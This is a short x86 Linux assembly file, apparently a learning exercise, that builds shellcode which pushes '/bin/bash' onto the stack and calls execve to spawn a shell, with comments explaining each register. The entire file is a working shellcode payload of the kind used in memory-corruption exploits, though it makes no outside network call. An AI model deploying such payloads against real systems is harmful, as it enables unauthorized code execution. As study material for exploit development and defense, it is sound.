Spawn shell using execve-stack

execve_stack.asm

; Execve Stack Shellcode
; Author: Aditya Chaudhary
; Date: 27th Jan 2019

global _start

section .text

_start:

  ; int execve(const char *filename, char *const argv[], char *const envp[]);
  ; eax = 11 (0xb)
  ; ebx = /bin/bash, 0x00
  ; ecx = address to ebx, rest of arguments
  ; edx = 0x00

  xor eax, eax

  push eax
  mov edx, esp ; edx -> 0x00

  ; push ////bin/bash ; push bash, push bin/, push ////
  ; push 0x 687361622f6e69622f2f2f2f

  push 0x68736162
  push 0x2f6e6962
  push 0x2f2f2f2f

  mov ebx, esp ; ebx -> /bin/bash, 0x00

  push eax
  push ebx
  mov ecx, esp ; ecx -> address of /bin/bash, 0x00

  mov al, 0xb ; eax -> system call for execve
  int 0x80